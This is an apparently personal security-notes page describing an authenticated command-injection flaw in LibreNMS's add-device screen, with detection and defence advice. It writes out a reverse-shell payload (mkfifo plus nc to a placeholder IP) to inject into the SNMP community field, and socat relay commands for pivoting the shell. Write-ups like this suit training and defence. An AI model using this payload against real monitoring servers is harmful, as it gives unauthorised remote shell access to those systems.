the_open_door
coffee
ESEN
← Back to index

LibreNMS: add-device RCE

LibreNMS is a network monitoring system. Several old versions are vulnerable to remote command execution from the authenticated panel, in the add-a-device flow. When registering a host, LibreNMS ends up passing some controllable field (the SNMP community string, the hostname, etc.) into a system call without sanitising it, so you can inject a command that runs as the web service user.

The prerequisite is being authenticated; in practice you get there via credential reuse (the same password cracked for a system user often works on the panel). Once inside, on the add-device screen you place the payload in the vulnerable field, for example an SNMP community like:

'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 4422 >/tmp/f) #'

When the device is validated/polled, LibreNMS executes that $(...) and returns the reverse shell.

Common networking detail. If you reached LibreNMS by pivoting (the box has no direct route back to the attacker), the reverse shell cannot fly straight: aim it at an intermediate host and forward it. A socat relay on the pivot solves it:

# on the pivot (reachable by the victim): forward to the attacker
socat TCP-LISTEN:4422,fork TCP:<lhost>:4422
# on the attacker
nc -nlvp 4422

How to detect it. The access-log signature is an authenticated add-device request (ajax_form.php/addhost) with shell metacharacters in the SNMP community or hostname field ($(, backticks, ;, |nc, mkfifo): no legitimate SNMP community carries them, and a WAF inspecting those parameters blocks it. Host-side confirmation is the web process (or the LibreNMS poller) spawning sh/bash/nc as a child when validating/polling the device (auditd/Sysmon for Linux over execve with the service as ppid), followed by an outbound connection (direct or via the socat relay).

Defence. Update LibreNMS, sanitise/parameterise any field that reaches a system call, run the web user with least privilege, and do not reuse passwords between the system and applications. The shell obtained is usually a service account; the next hop is often a sudo abuse.

Machines where it's used